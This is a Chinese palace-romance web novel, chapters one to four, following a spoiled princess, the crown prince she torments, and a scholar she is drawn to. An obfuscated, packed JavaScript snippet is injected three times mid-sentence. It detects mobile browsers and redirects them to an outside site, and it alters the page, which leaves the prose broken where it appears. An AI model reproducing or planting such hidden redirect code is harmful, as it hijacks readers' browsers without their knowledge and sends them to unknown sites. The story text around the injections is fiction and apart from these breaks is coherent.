《恨她的第十年》 1. 野种 是日，万里无云。 三喜怀抱一条手腕粗细的铁链，亦步亦趋跟在一人一狗后面。 那狗，不是寻常的狗，是吐蕃进贡的獒犬，性子烈，体格壮，是当今皇上特特向吐蕃使臣要求的，讨来就为博十公主一笑。 同那獒犬并行的，便是十公主，皇后嫡出，众皇子公主中最小的一个，生具倾国之姿，自然千娇万宠。 “贝贝，站住。”说话的人正是十公主薛柔，她口中的“贝贝”则是爱宠的名讳——上百斤重的烈犬，被她赐了个顶顶无害的名字。 帝后曾有言，“贝贝”这名不合适，薛柔偏不听，铁了心定夺下来。 薛柔知道，大家嫌那名俗气，她才不以为意，她本就是个俗气之人，不论是给狗取名，还是给贴身丫鬟取名，她都拣顺口的来。 三喜便是受害者之一。不过三喜对主忠心耿耿，漫说一个名字，让她一辈子不嫁人单守在公主身边伺候，亦无不可。 贝贝乃薛柔亲力亲为养大，最听她的话，让站住绝不多走半步，当即屈了后腿，蹲坐下来，仰着脑袋吐着舌头看主人。 整洁的宫道上，迎面走来两个人，一个身着墨色锦袍，一个作内侍打扮。 “真巧啊，到这也能碰上你。”薛柔扬着下巴，嗓音尖尖的细细的，不大悦耳，乃至有些尖酸刻薄。 说来荒谬，墨袍男子乃当朝太子，名唤薛怀义，对这个妹妹可谓毕恭毕敬，唯命是从。当下举步前来，和颜悦色道：“妹妹这是往何处去？” 薛怀义明年及冠，身量不矮，身形却略显单薄，兼之肤色苍白，容貌秀美，颇有几分阴柔之气。 薛柔足足矮他一头，气势却丝毫不输，昂起来的小脸充斥着轻蔑：“我上哪，用得着告诉你么？倒是你，一大清早不在东宫抄佛经，出来乱转什么？” 薛柔反感太子，说是厌恶也不过分。 他虽为太子，可是个行宫宫女生下来的野种，沾父皇子嗣稀薄的光，十多岁上过到母后膝下抚养，从此摇身一变，有了太子之尊。 薛柔看不起他，从不肯唤他兄长，素来直呼其名。父皇母后疼她，未尝因此怪罪她。 薛怀义倒也乖觉，任凭她如何羞辱，总是和和气气的。譬如眼前，微微笑道：“听闻母后染了风寒，我又闲来无事，特意前去侍奉。” 薛柔讥讽道：“母后凤体不适，自然有我服侍，我竟不知，几时轮到你献殷勤了？我劝你，快快收起那心思，免得弄巧成拙，徒惹母后头疼。” 皇后亦不喜太子，然皇后识大体，明面上不显山不露水。二人的关系，尚过得去。 面对薛柔犀利的讽刺，薛怀义面不改色，“从善如流”道：“既然如此，那我便不打搅母后养病了。” 说罢，点一点头，欲离开。 他愈是礼遇有加，薛柔愈觉刺眼，扭头对贝贝说：“去，把那个穿黑衣服的衣袍咬烂。” 贝贝大力摇动尾巴，双眼亮晶晶的，后腿一蹬，飞冲出去，扯住那飘逸的袍角来回撕咬。 内侍吓得魂飞魄散，口里乱叫唤：“哎呦呦，老天爷！哎呦呦，太子殿下！” 漫说贝贝是条骇人的大獒犬，就算是一只刚生下来的奶狗，这宫里的人都是万万不敢对它动手的。 倘若伸一根手指头，挨打受骂且是轻的，被撵逐出宫那才是天塌了。 内侍惊叫不迭，贝贝撕扯不放，薛柔冷眼旁观。 而薛怀义，纹丝不动，身板挺得像棵树，任由衣袂四分五裂。 贝贝叼着布料，兴冲冲奔去主人跟前，摇尾乞怜。 薛柔决计不肯触碰那片绸缎，不止因为上面湿漉漉的全是贝贝的口水，更出于它是薛怀义的东西，她嫌腌臜。 “乖贝贝，把它吐了。”薛柔一面弯腰俯身，一面朝三喜伸手讨贝贝的零嘴，讨来仍给贝贝当作奖励。 主人之外，贝贝凶狠恶劣。 主人面前，贝贝俨然是个讨人喜欢的好孩子。 拿嘴含了牛肉脯，贝贝匍匐于薛柔脚下，津津有味地啃咬起来。 “不知如此，妹妹可满意？”薛怀义垂手伫立，视线横扫面目全非的衣袍，最终停留在正笑吟吟逗狗的薛柔身上，“如若还不够，那——” “那你当如何？”薛柔冷笑着打断他，眼光轻浮，摆明了挑衅他这个东宫太子，“我不满意，你当如何？” 薛怀义浅浅一笑，撩起衣摆，顺着裂痕一路撕开，赫然小半截袍子分离下来，荡于他掌心之间：“够不够？” 薛柔笑意退却，红唇轻启，吐出两个字：“虚伪。” 是的，在她看来，薛怀义惯会做小伏低迎合别人，尤其是父皇，否则凭他低贱的出身，拿什么和她平起平坐，还捞到太子的宝座。 论起来她就气恼，以前父皇明明对薛怀义很冷淡，近来不知怎的，频频唤他上御书房说话；下朝回来陪她们母女用膳，提及太子的次数亦多了起来。 薛柔不忿，偏偏对外拿薛怀义没辙，毕竟人家是堂堂太子，收拾过了火，外边那帮朝臣又该上书指责她的不是了。碍于此，惟有在内宫寻他不快，以此泄恨。 薛怀义不言不语，静静目送薛柔牵狗行远。 及人杳无踪迹，手心略略一斜，托举着的布料哗啦啦坠地。 内侍欲拾，却叫薛怀义冷声拦住：“捡它做什么，废物罢了。” 那块布死气沉沉摊在地上，“遍体鳞伤”，一如薛怀义十八年来的人生，七零八落，毫无尊严。 内侍入东宫的三四年里，所见所闻尽是薛柔羞辱薛怀义，而薛怀义噤若寒蝉的光景，分外心酸。 内侍悲愤不已：“您贵为太子殿下，何必处处让着十公主？您看她，越发刁难您了……” 薛怀义满面无谓，仿佛一个局外人：“她爱刁难，且随她去好了。今日的佛经尚未抄录，该回去了。” 内侍暗自喟叹，待薛怀义走远些，仍悄悄捡起那块料子，揣于袖筒。 薛柔直奔皇后寝宫去。 许嬷嬷笑意盎然迎她进门，三喜领贝贝在廊下等候——贝贝大得像个人，皇后看着揪心，因而特特避开。 寝殿内烧着火盆，很是暖和，薛柔解了斗篷交与许嬷嬷，凑去床榻前，笑问：“母后感觉病势好些了没？” 皇后年将六十，看起来却不像这个年纪的人，这通通得益于她有一个好心态。心情松弛，身子自然愉悦。 “本就不严重，你们非按我在榻上躺着，纵是不打紧，也要憋出病来了。”皇后背靠引枕坐在床头，看向爱女的目光款款情深，“瞧瞧，小脸通红，又在外头野了吧。” 同薛怀义之间的不快，薛柔不愿告诉母后，一来母后病着，听见了难免多心；二来薛怀义毕竟是太子，是母后名义上的儿子，她怕母后因此夹在中间，左右为难。 种种考虑下来，薛柔避重就轻道：“我能上哪野呀，无非是带贝贝四处溜溜弯罢了，母后可别冤枉了好人。” 皇后拿她的手在掌心，轻轻揉捏着她那白玉似的手背，叹了一声：“你呀！眼看将及笄了，还是动不动就撒娇卖乖，往后有了驸马，可也要对驸马耍这套小伎俩不成。” 薛柔面色骤变，从母后 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15799941|175083||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 处夺走手，鼓着腮帮子气哼哼道：“好端端的，提什么驸马不驸马的！母后，我还小呢，不想招驸马，您就别操心这事了。” 皇后宠着她，纵然言辞没大没小，亦不加怪罪，只笑说：“你今日小，以后呢？小十，我和你父皇一年较一年老了，管不动你了，尽早择一良婿，多一个照顾你的人，难道不好？” “不好，我才不稀罕旁人来照顾我！”薛柔当即驳回去，略一思量，忽然察出些异样的滋味来，忙转变口风：“母后今儿是怎么了，左一个驸马又一个驸马的，您往常可不这样。” 女儿伶俐，皇后早知含糊不过去，便招呼许嬷嬷去取一幅画像，趁这个档口，语重心长道：“今年的状元郎，你可曾有所耳闻？” 顺着母后的话一回忆，薛柔缓缓道：“前儿大姐姐推我荡秋千时，提过一嘴，说是新科状元郎姓崔，便是几大家族中那个有名的崔家。我不感兴趣，当场打断大姐姐。再有的，我便不得而知了。母后问这个作甚？” 许嬷嬷手脚麻利，手捧画轴返回，双手呈于薛柔。薛柔不解其意，皇后娓娓道来：“这位状元郎，家世好，人品端，相貌佳，年龄也合适。柔儿，你且展开画轴，看看合不合眼缘。” 薛柔恍然大悟，偏不去接那画，容长小脸扬得高高的：“敢情母后存着这层意思。管他什么状元探花、崔家王家的，我没相中就是了。” 皇后好脾气，令许嬷嬷展开画像。 薛柔紧挨着许嬷嬷，眼梢余光朦胧扫见，不觉被吸走注注意力，侧目而视。但见谦谦君子，温润如玉；眉宇之间，尽是柔情。恰恰是她欣赏的类型。 薛柔不由得看入神了。 皇后、许嬷嬷会心一笑。许嬷嬷戏语玩笑道：“小殿下这张小嘴倔强，眼神可诚实得很呢，见着俏郎君就挪不开眼了。” 许嬷嬷是皇后的陪嫁，从青涩少女到母仪天下，伴皇后走过风风雨雨四十年，早已是家人了。既为家人，说笑几句也不值得讲究了。 薛柔固然不喜人家拿自己取笑，但明白这个道理，佯装不屑错开视线，冷哼道：“论起俊俏，我只认三哥哥、九哥哥。旁的，入不得我的眼。” 三皇子、九皇子，前者是皇后嫡出，而立之年，心思全然不在家国大事上，整日钻研道法自然，若非生于皇家，早就寻一处山林过上闲云野鹤的日子了；三皇子不是治国理家的料子，便便宜了薛怀义；后者是淑妃所出，才及十六岁，业已有几则军功傍身，在军营里混得真个是风生水起，俨然意气风发少年郎是也。 两位皇子，都把薛柔当明珠宠，薛柔自然亲近他们。 瞧她明明红了脸，却口是心非，皇后不点破，转而问许嬷嬷：“眼瞅这个时辰了，陛下还在上书房同那崔家二郎议事，一直饿着肚子坏身体。你且吩咐咱们宫里小厨房，做些陛下素日爱吃的糕点，完了你给送去，切记要看着陛下吃光了再走。” 许嬷嬷答应着去办。 薛柔不自禁心下一动。 崔家二郎？莫非便是那新科状元郎？ 画像上芝兰玉树的容颜乍然浮现眼前，挥之不散。 皇后明察秋毫，故意搭个台阶让她下：“小十，你有些时日未见你父皇了吧？” 薛柔掩起朦胧心思，顺水推舟，抱着皇后的胳膊撒娇卖乖：“可不是嘛！母后，若不然送糕点的差事就交给我好了……父皇素日最能听进去我的话，由我盯着，父皇肯定吃光光！” 她欲亲眼一睹，崔家二郎真容如何。 恐她察出端倪，皇后假意举棋不定，经她又一遭的央求后，方才点了头。 2. 崔介 上书房内，一袭绯红官袍的崔介，于御书案前静听景帝阔谈凌云壮志：“朕自二十五岁即位起，便胸怀一统天下的志向，至今近四十年，大半地带俱已纳入版图，独独西南蛮夷之地，摩擦不断，成了朕的心头之患。你崔家当年为朕鞠躬尽瘁，为中原安定立下汗马功劳，而今又推举你这么一个能臣入朝，朕心甚慰。小崔爱卿，你且说说，关于蛮夷一带的纷乱，你是如何看的。” 崔介长睫半垂，目光带过书案上展开来的大周舆图，将启齿对答，便闻门开了。 “父皇！” 一个尖尖的、细细的声音传来，崔介抬眼，但见一瞥烟柳色影子由远及近；视线上移，赫然一珠围翠绕的少女容颜。 崔家祖训：非礼勿视，非礼勿听，非礼勿言，非礼勿动。崔介牢记于心，微微侧身，向景帝作揖称退。 “小崔爱卿莫急。”爱女拎了满满一盒子点心来，恰给景帝提了醒——眼下到午膳的点了。毕竟是景帝自己硬留下崔介侃侃而谈，误了人家用膳，而景帝向有宽柔待下的美誉，自当招待了崔介的午饭方不负素日作风。故而，景帝命总管太监龚福传膳，一面对崔介说：“且陪朕吃了饭再回吧。” 天子有令，崔介无有不从。 薛柔见缝插针道：“儿臣也没吃过饭，父皇怎的不留我，敢情是不欢迎儿臣咯？” 景帝摇头失笑，拿手指头轻轻刮了下薛柔的鼻尖：“朕同崔爱卿议事，不是耍的，你不要添乱，快回去陪你母后用膳吧。” 薛柔向崔介站着的方位侧目，可他正视前方，目不斜视，落到她的视角下，唯独剩副神情莫测的侧颜罢了。 专程奔他来的，薛柔自不甘心作罢，揭开食盒对景帝说：“父皇，母后亲口嘱咐，叫儿臣盯着您吃干净才好离开。” 景帝拿她没奈何，又怕她站累了，示意龚福搬把椅子到御书案边。 薛柔不客气，笑嘻嘻坐定，现下这个位置妙，正对着崔介，可将其如画般的眉眼收入眼底。 素白的柔荑不自觉攥住了罗裙。薛柔默默错开眼，悄悄笑弯了唇。 景帝让崔介品用几块点心，崔介以不喜甜食为由推诿过去。 薛柔春心荡漾，他不仅模样生得俊，声音也清朗好听，所谓“陌上人如玉，公子世无双”，大抵也不过如是了吧。 世家大族出身，崔介有着超脱寻常的洞察力，敏锐如他，那厢时不时投来的饱含热切的注视，他一目了然。 十公主薛柔——崔介有所耳闻。刁蛮跋扈、顽劣不化是她的代名词，若非那可望而不可即的身世，想来鲜有人会对她曲意逢迎。 崔介平视前面，视线却恰恰好越过了薛柔。他面无波澜，心如止水。薛柔人品如何，名声如何，皆与他无干。 见崔介恰到好处无视了自己，薛柔心下一阵荒谬，惯有她忽略别人的份，被人视而不见，竟是头一次。 薛柔暗暗咬紧牙关，兀自窝了会气，后绽放笑貌，眼睛向着景帝：“父皇，这位大人却是十分面生，不知在何处高就？” 光知道他姓崔，在家排行老二，这是远远不够的。 皇后有意撮合薛柔和崔介这事，景帝是知情的，并且十分支持。崔介这小郎君相貌堂堂，为人谦和，学问高深，堪为良配。 景帝笑着介绍：“这是小崔大人，现任翰林院侍读一职。” 薛柔勉生欢喜，心想父皇这介绍了和没介绍一样，关键信息还是一概不知。 “小崔大人真不打算尝一块吗？很甜的。”薛柔直望进崔介的眼底，仿佛在那双疏离的黑眸中看见了自己的影子。 崔介淡淡的：“多谢公主好意，微臣沾不得甜食。” 口里称着微臣，态度却是强硬。薛柔眼睛不离开他，执拗道：“若是沾了，又会怎样？” 崔介的睫毛又长又密，半遮下来，令人看不清眸间情绪，但从声线分辨，依旧云淡风轻：“沾了，微臣会起疹子。” 总不能逼着人家往嘴里塞。薛柔闷闷一撇嘴，别开头，面朝一脸乐呵呵的景帝：“父皇，这小崔大人年纪不大，举手投足倒像四五十岁的人——一丝不苟，一本正经。” 景帝咽下最后一块糕点，从龚福手中接了茶水漱过口，在薛柔与崔介二人之间睃两遭，笑眯眯道：“这才是正人君子的做派。” 眼见父皇胳膊肘往外拐，薛柔郁闷不已，捡了盖子扣好食盒，提在手心，起身要走：“那便请父皇随小崔大人慢慢用膳，儿臣不打搅了。” 远远的，崔介作揖相送。 觑着他，薛柔快步出门，三喜迎上来捧了空食盒，凑个热闹：“殿下见着那崔二郎了吗？” 薛柔峨眉轻挑：“见是见着了，就是此人忒心高气傲、不识抬举。” 在外边等候的工夫，三喜向上书房的太监们打听了一番，个个都是一致的说辞：崔家二郎性子清冷，京中多少贵女倾心于他，他向来置若罔闻；介于此，人们把他比作云间月，遥不可及。 “崔二郎君家世不凡，才气过人，矜贵自持些也属人之常情。”薛柔一记眼刀子飞了过来，三喜忙忙找补：“任崔家二郎再尊贵，也尊贵不过您去！他怎敢对您不敬？” 薛柔相当受用，鼻子里哼了一下：“他既自视甚高，那么我非要压他一头不可。”说着一顿，笑颜明媚，“我记得，崔家有个小娘子，比我略长些，去年春日宴上打过照面……你可知她和崔二郎是什么关系？” 三喜想了一阵，回：“那小娘子好像是崔二郎君的妹妹，人温温柔柔的，陪八公主上过一段日子的学，今年过了年就没进宫陪读来了，也不知道是病了还是其他什么缘故。” 说来凑巧，众皇子公主中，薛柔哪个都处得来，唯独八公主——舒婕妤所生，惯会凑到父皇面前扮柔弱装可怜，求父皇多多垂怜舒婕妤，私下里还和太子来往殷勤。这是两手准备：父皇那求怜惜求不成的话，便攀上太子，待有朝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15799942|175083||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一日太子接了父皇的宝座后，念及兄妹情谊，提携她们母女。 但是和太子沾边的，薛柔俱厌恶，八公主非但主动招惹太子，且把小伎俩耍到了父皇跟前，不烦她烦谁？ “好好一个人，偏生和她搅和不清。”薛柔不掩嫌恶，“本想认识认识这位崔小娘子来着，孰料……算了。” 且走且聊，不觉东宫近在眼前。 “真晦气。”先在崔介处碰了壁，而今又赶上最嫌弃之人住的宫殿，薛柔压着唇角，大为不悦，“每回去上书房，都躲不开这地方。” 讨厌什么来什么，但见斜对面的宫道上走来一双人影，一玄一青，一高一矮，言笑晏晏。 “是十妹妹啊。”八公主薛嘉着一身天青色衣裙，头上斜插一支翡翠簪子，面上略施粉黛，碰着薛柔，眼中划过一丝不耐烦，却仍笑开了打招呼，“十妹妹是才给父皇送过饭吗？” 上书房重地，准许随意进出之人屈指可数，薛柔乃头一号。据此，薛嘉得出结论。 打小千纵万宠，薛柔长了一肚子直心肠，好坏全挂在脸上，对薛嘉和声和气的问候，嘲弄一笑：“八姐姐比我更勤谨，三天两头往东宫跑。今儿又做什么来了，借书？送牛肉羹？” 薛嘉频频往东宫去，有两个老生常谈的理由：借书，送各种羹汤。薛柔说白了，正是光明正大奚落她无事献殷勤。 薛嘉是个聪明人，领悟到位但不显山不露水，笑吟吟接话：“听闻太子哥哥抄录佛经辛苦，笔杆子都断了好几根，前些日子父皇赏了我一支上等狼毫笔，横竖我不大使得上，想着别浪费在我手里，便趁今日天气好，拿给太子哥哥。” 话至此，薛柔方留意到薛怀义手里握着个窄长盒子。薛柔仰头望一望湛蓝的天，樱红的两片唇间泄出声声笑：“是呀，太子殿下劳苦功高，赠一根上好狼毫笔是应当的。” 清脆的一句“太子殿下”，看似敬重，其实蕴含了太多讥讽与轻慢，薛怀义心知肚明，五指不断蜷缩，恨不能让指头同木盒子长在一起。 薛怀义面无表情，可薛柔笃定，他风平浪静的面孔之下藏匿着一张极尽扭曲的嘴脸。他恨她，恨她把他踩在脚底，肆无忌惮践踏他的尊严。他恨得有多狠，她就多欢畅。她便是要他睁开眼仔细瞧瞧，不是什么人都配与她以兄妹相称的。 “东西送到了，八姐姐，走吧？”薛柔倨傲的目光掠过薛怀义，直指薛嘉，“免得下个月皇祖母八十大寿上，因八姐姐屡屡打扰，导致太子殿下交不齐全为皇祖母祈福的八十一卷佛经。” 无人可见处，薛嘉将薛柔骂了个狗血淋头，摆到明面上的，仍然是善解人意的八姐姐：“十妹妹说得是。”转头对薛怀义点一点头，柔声细语道：“太子哥哥保重身体，切莫累垮了。” 薛怀义默默吸了口气，确保嗓音一如既往地平稳：“八妹妹的话，我记在心里。” 二人惺惺作态的样子，薛柔只觉滑稽，自转身走了。 3. 寿宴 自上书房惊鸿一面后，薛柔便惦记上了崔介，派人殷切打探他每日的行程不够，正逢中旬崔家老夫人过七十大寿，脑袋瓜子一转，算盘就打到了这上头。 崔家乃两朝重臣，崔老夫人办寿宴，皇家自是要去捧场的。 当天一大早，薛柔盛装打扮，乘车出宫。 崔府门前车水马龙、人满为患，薛柔嫌摩肩接踵的脏污，事先命人开道，而后提着裙边盈盈下车。 有不知死活的在人堆中嚼舌根：“神气死了，恨不得把整座皇城都霸占了去。” 三喜闻声，眉毛一竖，喝两个侍卫从人群中揪出那个嚼舌之人，提着他的后衣领提溜到薛柔脚下，按住后颈迫其脑门贴地。薛柔拿脚踩在那人的肩头，蔑笑道：“怎么，不服气啊？” 那人就是个市井小民，专爱议论东家长西家短，今儿来前多吃了两杯酒，脑子晕晕乎乎的，连带着口齿不听使唤，这会猛不防被拽出来，怕劲儿盖过了酒劲儿，上下牙齿打着哆嗦求饶：“小的糊涂，烂了嘴巴……求殿下开恩，饶小的一条生路……！” 薛柔居高睥睨，笑意盎然，吐出来的话语却尖锐刺耳：“我也不难为你，你且跪在这，扇自己二十个嘴巴子算完。” 薛柔教训他，不止出于他冒犯自己，更要紧的是刚刚这东西钻在人群里，对一个牵着小姑娘的妇人摸来摸去，甚至盘算把猪蹄子般的手伸到小姑娘身上去。薛柔素日最痛恨这种下三滥货，整治了不少意图逼迫宫女的太监。 相较于她惩罚宫里奴才的手法，的的确确算是仁慈了。那小民含泪谢恩，左右开弓自掌掴。一时间，噼里啪啦作响。 薛柔才不稀得多看，拿开脚步入崔府。 外边动静闹得厉害，惊动了崔家人。崔家二房的余夫人打发一个小丫鬟出去瞅瞅情况；不多时，小丫鬟带回话来：“回夫人，是十公主在门口训人。说是那人嘴上不干净，冲撞了十公主。” 余夫人摆手令丫鬟退下，稍后叹一口气，对身边的丈夫崔寿说：“这十公主真是的，宫里闹一闹也就罢了，今儿老夫人的大好日子，还凭心意拿捏人。传出去像什么话。” 崔介的君子之风是从崔寿这儿承袭来的。 崔寿头上有一个哥哥，底下有一个弟弟妹妹，他夹在中间，起先并不受崔老太爷崔老夫人的重视，一家之主不受待见，整个二房的处境当然可见一斑。多亏养了个有本事的儿子，一举高中，金榜题名，把大房三房那仨不争气的纨绔子弟甩得远远的。如今提起崔家，二房响当当排第一。 十公主是帝后的心头肉，得罪不起；崔家的颜面千斤重，亦不能失了。崔寿只管原地转圈，究竟想不出个折中之法来。 恰是此时，仆从掀门帘，让进崔介来。 见了儿子，如同见了定海神针，余夫人忙迎上前，絮叨起外边的乱象。 崔介临危不乱，拍拍母亲的手背予以安抚：“父亲母亲别担心，儿子已有办法了，儿子这便去料理妥帖。” 崔介信步穿过厅堂，果然在九曲游廊的尽头望见了驻足扶发钗的薛柔。观其打扮得艳丽十足，活像个花孔雀，崔介不觉沉了脸，举步向前。 薛柔忙着整理仪容，没注意对面来了人，还是朝思暮想的崔介，三喜却一眼捕捉，急急禀告薛柔：“殿下，小崔大人迎面走过来了！” 疑心听岔了，薛柔连忙转眼四顾，而崔介正正好停在她面前。薛柔胳膊吊在半空中，不上不下，难得有些窘迫，干着嗓子唤了声“小崔大人”。 一如初见，崔介拱手见礼：“微臣有礼了。” 短暂的茫然无措后，薛柔端起公主架子，略略抬起下颚：“小崔大人免礼吧。” 崔介收礼，站直身子，单刀直入，开门见山：“微臣耳闻有个小民惹恼了殿下，殿下严厉责罚了他。” 薛柔立时接口：“不错，是有这么回事。”她并不认为在崔家门口给那无礼之徒好看有何不妥。 崔介点点头，侧目示意心腹小厮云澜好生善后。 薛柔不让了，出声叫住迈开步子的云澜，然后直盯着崔介：“他有今日实属自作自受，况且我下手很轻了，只叫他打自己几耳刮子。打够数，他自会麻溜走人。何必有善后一说？” 云澜卡在中间，进退两难，崔介拿得住主意，命他去。见拦不住，薛柔神情不虞，质问：“小崔大人这是什么用意？” 崔介道：“殿下金尊玉贵，可不计后果行事，崔家却是不行。微臣此举，实为大局着想，请殿下见谅。” 不计后果？合着在崔介看来，她是做错了不成。薛柔从不藏着掖着，有脾气直接就撒出来了：“所以，你觉得我仗势欺人？” 崔介淡声说：“微臣并无此意。” “你分明就有。”一股子委屈忽然涌上心头，堪堪被薛柔压了回去，她才不准自己当着一个总共见过两回的人而流露软弱的情绪，“……罢了。即便是我仗势欺人，那又有什么关系。” 崔介默不作声，像是默认了她的说法。薛柔胸口堵得慌，现下不大愿意面对崔介此人，昂首快步经过他身前，拐出了长廊。 前厅，景帝、崔老太爷牵头，跟诸位男宾推杯弄盏、把酒言欢，薛柔遥遥瞭过，发现一戳戳影子中独不见薛怀义。他可是太子，这个时候竟缺席？她一面犯嘀咕，一面来到后院，跟随皇后去见崔老夫人。 堂内，崔老夫人身着藏青袄子，笑面看子子孙孙近前说吉祥话祝寿。 大房长孙崔碌排第一个。虽为长孙，崔碌却没有一星半点长孙的沉稳，白净的面皮常常嬉皮笑脸，没个正形：“祝祖母福如东海，寿比南山！” 满屋子人等他后文，而他就此息了声。 崔碌不学无术、油盐不进，崔老夫人甚是不喜，摆手随他自便，眼睛则左顾右盼，赫然在寻崔介的身影。 这时，薛柔随皇后入内，众人俱恭然见礼。 叫众人免礼后，皇后拉着薛柔到崔老夫人跟前，对薛柔说：“叫崔姨姨。” 论起来，皇后和崔老夫人是一辈人，年轻时候常在一块玩闹，数到薛柔头上，称姨姨自不为过。 可薛柔别扭得紧，她若喊崔老夫人为崔姨姨，那和崔介不就差了辈了吗？到底听皇后的话，兀自拧巴片刻，硬着头皮喊出“崔姨姨。” 崔介过来，正巧撞上这一幕。 崔老夫人看到崔介，笑着招手：“来，明夷你过来。” 明夷乃崔介的字，出自《周易·明夷卦》，寓意刚直磊落，中庸守正，是其父费了小半个月，翻遍房中典籍后敲定的。 崔介把握分寸，和薛柔隔着两个人的空间站定，躬身谦卑道：“孙儿来迟了，请祖母责罚。” 薛柔暗自发笑，这人怎的动辄不离规矩二字，真是个老古板！ 崔老夫人一向赏识崔介少年老成这一面，慈笑着点点头：“家中来客济济，一时耽误了也是常情，谈不上罚不罚的。” 皇后同崔老夫人坐在主位，笑眼打量崔介，其出身贵重，举手投足却无丝毫傲慢；待人接物谦逊有加，尽显大家风范。这样的郎君，才堪配公主。越往深里思量，越觉前头这二人登对，落在崔介身上的视线，隐隐透着慈母光辉。 不提崔介有没有感受到，薛柔是实 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15799943|175083||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 实在在察觉到了。一贯张扬的她，此时居然有些许害臊，两只手不自觉绞在了一块。 崔老夫人也挺满意薛柔的，模样生得出挑，性子也活泼，与崔介往那一站，十分般配。 关于两家联姻，崔老夫人、皇后提前通过气，眼下相视一笑。崔老夫人说：“十公主第一回来，人生地不熟，明夷，你且引十公主各处转转，我与皇后娘娘说说话。” 薛柔心眼小，纵然对崔介另眼相看，但还没忘记刚刚和崔介的不愉快，笑言回绝：“不用了，我自个儿去后园子逛就成。” 话毕，领着三喜出去。 崔介神色沉静，摆明了表示，薛柔是走是留通通无所谓。 崔府的后园子虽不及御花园阔大，可也是小桥流水，草木成林；亭台水榭，曲径通幽——别有一番风景。 湖畔，花红柳绿围了一圈女眷，笑语连连，好不热闹。 三喜瞅薛柔面色不霁，轻了声儿试探：“殿下，咱们要过去吗？” “来都来了，不去凑个人数岂不白费这一趟。”薛嘉被簇拥在人堆中间，很是受欢迎的光景，薛柔看得真切。 欢声笑语中，乍然蹦出个声音来：“快看快看，十公主朝这儿来了。” 闻讯，众人的目光齐刷刷聚焦在婷婷而来的华服少女上。 大理寺卿姜家的二姑娘同薛嘉要好，脾气又是个直来直去的，觑薛柔花枝招展，仿佛把崔家的寿宴当成了自己出风头的主场，颇为不忿，嘴里冷笑着：“扮得这么隆重，指定是冲崔二公子来的。崔二公子光风霁月，温润尔雅，怎会为一个娇纵蛮横之人动容。真真儿好笑。” 薛嘉挨着姜二姑娘所站，将她义愤填膺之辞一字不漏收入耳，暗暗哂笑。是啊，她薛柔也不反省反省自己在外头的名声有多臭，若非仗着父皇和皇后的颜面，唾沫星子且能给她淹死了。薛嘉会做人，决不放任贤淑宽厚的假面掉落，伸手按住姜二姑娘的手腕，摇摇头：“崔二公子究竟如何看待十妹妹，咱们无从知晓，妄自揣测未免招惹是非。” 薛柔越走越近，终归忌惮其呼风唤雨的手段，姜二姑娘敛了声，心下却不甘屈服，鄙夷之色就此染上了脸颊。 慑于薛柔素日之淫威，大家纷纷向她行礼问安。 薛柔心安理得受了，刚想开口阴阳薛嘉两句，就听得湖对岸响起阵阵口哨声，定睛一瞧，原来那帮男客不知几时将酒桌移去了对面；在座的多是二十来岁的少年人，不乏混入几个只知斗鸡走狗的公子哥儿，眯眼望见湖这边贵女成群，于是乎起了逗弄之意。适才的口哨，正是那起东西吹的。 三喜气得直顿足：“太放肆了！也不睁开眼看看是谁在这！” 话音才落，对岸之人变本加厉，扯着脖子喊：“着粉衫的那位小娘子是哪家的千金呐？认识认识呗？” 穿粉衫的贵女不止一两个，不过据那人射过来的视线推断，所指的乃是姜家二姑娘。 姜二姑娘勃然变色，冲上前回骂：“你算什么东西，竟敢口出狂言？！” 那人满不在意，哄然大笑：“粉衫小娘子不乐意，绯衣小娘子也合我的眼缘啊！” 绯衣？放眼成群女眷，独独一抹朱色耀眼——薛柔今日着绯色华服。 不及薛柔怎么着，远处的湖面忽然炸起丈数来高的水花，紧跟着便是各色嗓音的惊呼——那不知天高地厚的登徒子被人推落水了。 远隔粼粼琥珀，一道玄影映入瞳底。薛柔雾眉微蹙，口吐一串音节：“薛怀义？” 三喜立马接嘴：“奴婢没看错的话，似乎……是太子身边的程胜把人给推下去的。” 4. 心魔 落水的是鸿胪寺少卿家的幺子祁化，京城响当当的膏粱子弟，二十二的年纪，孑然一身。四五年来请官媒婆到处提亲，愣是没一家愿意嫁女的。这种人，漫说做人的唾弃，街头的野狗见了都绕道走。 程胜奉太子之命把人推入湖中，不少人拍手称快，独独祁化的小厮急得满头大汗，忙忙搬人手来捞人。 湖水挺深，没过了人脑袋，而祁化不会水，咕咚咚往肚子里灌了好些湖水。好容易上了岸，只管伏在地上呕吐；呕完仰脸躺倒，跟条死鱼似的望着澄澈蓝天发呆。 